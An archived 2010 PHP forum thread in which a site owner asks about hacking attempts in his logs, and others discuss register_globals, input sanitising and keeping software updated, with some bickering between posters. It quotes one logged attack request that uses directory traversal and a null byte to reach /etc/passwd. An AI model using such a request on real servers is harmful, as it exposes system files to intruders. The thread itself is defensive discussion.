> On 2010-12-23, ?lvaro G. Vicario<alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
>> El 23/12/2010 16:39, Ignoramus30015 escribi?/wrote:
>>> I have been looking at my apache logs, and I see a tremendous amount
>>> of queries that clearly are attempts to hack me.
>>>
>>> One typical example
>>>
>>> 87.121.164.1 - - [22/Dec/2010:00:01:10 -0600] "GET /manuals/index.php?bi=./../../../../../../../../../../../etc/passwd%00 HTTP/1.0" 404 296 "-" "Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)" my.site.com
>>>
>>> Many other examples about, where attackers try to override system
>>> variables with web-supplied parameters. Kind of overriding PATH or
>>> LD_LIBRARY_PATH variables to subvert setuid programs.
>>>
>>> My main question is WTF? Why exactly does PHP let remote web users
>>> override those variables?
>>
>> It was a wrong design decision taken by the PHP team many years ago. In
>> earlier versions PHP would automatically create variables from several
>> input sources so you could code<input type="text" name="email"> and
>> automatically get user data available at $email. After that, the web
>> evolved, security become a concern and this feature was (kind of) disabled.
>
> Thanks. Is there a way to for sure disable it, across the board, for
> all PHP programs?
As you've said in other threads, the feature is called "register
globals". It's disabled by default in any PHP version released in the
last years, just make sure it's disabled and you'll be fine.
If you're worried about the subject you may want to read the security
chapter in the PHP manual:
http://es.php.net/manual/en/security.php
> Do you know if mediawiki has any recently known security holes
> exploitable by non-registered users?
I haven't used that piece of software but I bet the answer is "yes" ;-)
Just try to keep configure securely and keep it updated, like you do
with SSH, OpenSSL or the Linux kernel. Almost all exploits are based of
bugs that are already fixed.
--
-- http://alvaro.es - Álvaro G. Vicario - Burgos, Spain
-- Mi sitio sobre programación web: http://borrame.com
-- Mi web de humor satinado: http://www.demogracia.com
--
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171146 is a reply to message #171125] |
Tue, 28 December 2010 01:46 |
Twayne
Messages: 135
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
In news:if5v4b$a2p$1(at)news(dot)eternal-september(dot)org,
Jerry Stuckle <jstucklex(at)attglobal(dot)net> typed:
> On 12/25/2010 5:38 PM, Twayne wrote:
>> In news:5vn7h6l9g83o4fqplm3uttg7l1bvt3uhap(at)mfesser(dot)de,
>> Michael Fesser<netizen(at)gmx(dot)de> typed:
>>> .oO(Ignoramus30015)
>>>
>>>> On 2010-12-23, ?lvaro G. Vicario
>>>> <alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
>>>> >
>>>> > It was a wrong design decision taken by the PHP team
>>>> > many years ago. In earlier versions PHP would
>>>> > automatically create variables from several input
>>>> > sources so you could code<input type="text"
>>>> > name="email"> and automatically get user data
>>>> > available at $email. After that, the web evolved,
>>>> > security become a concern and this feature was (kind
>>>> > of) disabled.
>>>>
>>>> Thanks. Is there a way to for sure disable it, across the
>>>> board, for
>>>> all PHP programs?
>>>
>>> The keyword is 'register_globals'. Make sure that it's
>>> disabled.
>>>
>>> Micha
>>
>> But beware, that adds very little to security. Read your
>> php.ini for information about "register_globals".
>> In fact, spend a little time reading the php.ini file,
>> period. "Sanitizing data" and "data verification"
>> would likely be two good search terms for you for PHP.
>> Also "php manual" with or without the quotes. HTH,
>>
>> Twayne`
>>
>>
>
> On the contrary, it significantly enhances security, as
> those who really understand PHP know.
>
> I agree it doesn't replace proper validation of incoming
> data. But to say it adds very little to security is a HUGE
> misstatement.
You're opinion is wrong. When it can't perform one of the most important and
basic security operations needed, it is doing little for security and leaves
the gaping hole there for the many types of code injection et al that are
possible.
You're entitled to your opinion, such as it may be.
So long troller.
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171147 is a reply to message #171146] |
Tue, 28 December 2010 02:24 |
Jerry Stuckle
Messages: 2598
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
On 12/27/2010 8:46 PM, Twayne wrote:
> In news:if5v4b$a2p$1(at)news(dot)eternal-september(dot)org,
> Jerry Stuckle<jstucklex(at)attglobal(dot)net> typed:
>> On 12/25/2010 5:38 PM, Twayne wrote:
>>> In news:5vn7h6l9g83o4fqplm3uttg7l1bvt3uhap(at)mfesser(dot)de,
>>> Michael Fesser<netizen(at)gmx(dot)de> typed:
>>>> .oO(Ignoramus30015)
>>>>
>>>> > On 2010-12-23, ?lvaro G. Vicario
>>>> > <alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
>>>> >>
>>>> >> It was a wrong design decision taken by the PHP team
>>>> >> many years ago. In earlier versions PHP would
>>>> >> automatically create variables from several input
>>>> >> sources so you could code<input type="text"
>>>> >> name="email"> and automatically get user data
>>>> >> available at $email. After that, the web evolved,
>>>> >> security become a concern and this feature was (kind
>>>> >> of) disabled.
>>>> >
>>>> > Thanks. Is there a way to for sure disable it, across the
>>>> > board, for
>>>> > all PHP programs?
>>>>
>>>> The keyword is 'register_globals'. Make sure that it's
>>>> disabled.
>>>>
>>>> Micha
>>>
>>> But beware, that adds very little to security. Read your
>>> php.ini for information about "register_globals".
>>> In fact, spend a little time reading the php.ini file,
>>> period. "Sanitizing data" and "data verification"
>>> would likely be two good search terms for you for PHP.
>>> Also "php manual" with or without the quotes. HTH,
>>>
>>> Twayne`
>>>
>>>
>>
>> On the contrary, it significantly enhances security, as
>> those who really understand PHP know.
>>
>> I agree it doesn't replace proper validation of incoming
>> data. But to say it adds very little to security is a HUGE
>> misstatement.
>
> You're opinion is wrong. When it can't perform one of the most important and
> basic security operations needed, it is doing little for security and leaves
> the gaping hole there for the many types of code injection et al that are
> possible.
> You're entitled to your opinion, such as it may be.
>
> So long troller.
>
>
And you're entitled to your own opinion, even though it's wrong, as it
usually is. If it were as you say, why would Zend spend the time and
money changing to code to get rid of it? And don't say it's a minor
matter - it really isn't.
And no one else here agrees with you. But then we all know you know
very little about security, troll.
--
==================
Remove the "x" from my email address
Jerry Stuckle
JDS Computer Training Corp.
jstucklex(at)attglobal(dot)net
==================
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171151 is a reply to message #171146] |
Tue, 28 December 2010 11:32 |
The Natural Philosoph
Messages: 993
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
Twayne wrote:
> In news:if5v4b$a2p$1(at)news(dot)eternal-september(dot)org,
> Jerry Stuckle <jstucklex(at)attglobal(dot)net> typed:
>> On 12/25/2010 5:38 PM, Twayne wrote:
>>> In news:5vn7h6l9g83o4fqplm3uttg7l1bvt3uhap(at)mfesser(dot)de,
>>> Michael Fesser<netizen(at)gmx(dot)de> typed:
>>>> .oO(Ignoramus30015)
>>>>
>>>> > On 2010-12-23, ?lvaro G. Vicario
>>>> > <alvaro(dot)NOSPAMTHANX(at)demogracia(dot)com(dot)invalid> wrote:
>>>> >> It was a wrong design decision taken by the PHP team
>>>> >> many years ago. In earlier versions PHP would
>>>> >> automatically create variables from several input
>>>> >> sources so you could code<input type="text"
>>>> >> name="email"> and automatically get user data
>>>> >> available at $email. After that, the web evolved,
>>>> >> security become a concern and this feature was (kind
>>>> >> of) disabled.
>>>> > Thanks. Is there a way to for sure disable it, across the
>>>> > board, for
>>>> > all PHP programs?
>>>> The keyword is 'register_globals'. Make sure that it's
>>>> disabled.
>>>>
>>>> Micha
>>> But beware, that adds very little to security. Read your
>>> php.ini for information about "register_globals".
>>> In fact, spend a little time reading the php.ini file,
>>> period. "Sanitizing data" and "data verification"
>>> would likely be two good search terms for you for PHP.
>>> Also "php manual" with or without the quotes. HTH,
>>>
>>> Twayne`
>>>
>>>
>> On the contrary, it significantly enhances security, as
>> those who really understand PHP know.
>>
>> I agree it doesn't replace proper validation of incoming
>> data. But to say it adds very little to security is a HUGE
>> misstatement.
>
> You're opinion is wrong. When it can't perform one of the most important and
> basic security operations needed, it is doing little for security and leaves
> the gaping hole there for the many types of code injection et al that are
> possible.
> You're entitled to your opinion, such as it may be.
>
> So long troller.
>
>
which basically says, to anyone who actually understands what is being
discussed, that you are the one who is trolling, with almost no
knowledge of that whereof you speak.
|
|
|
|
| Re: Shocking amount of PHP security holes? [message #171420 is a reply to message #171132] |
Sun, 02 January 2011 22:18 |
Thomas Mlynarczyk
Messages: 131
Registered: September 2010
Karma: 0
|
Senior Member |
|
|
Álvaro G. Vicario schrieb:
[No need to worry about register_globals if no global variables are used]
> The "register globals" feature has nothing to do with using global
> variables or not. You can find further information here:
> http://es.php.net/manual/en/security.globals.php
I am aware of that. I think you misunderstood me. My point was that as
long as a script does not use (uninitialized) globals, "register_globals
= On" cannot do any harm and therefore its value is irrelevant. In other
words: only badly written scripts "require" register_globals turned off
to prevent harm. Well written scripts are immune.
Greetings,
Thomas
--
Ce n'est pas parce qu'ils sont nombreux à avoir tort qu'ils ont raison!
(Coluche)
|
|
|
|
Calendar
Search
Help
Members
Register
Login
Home
]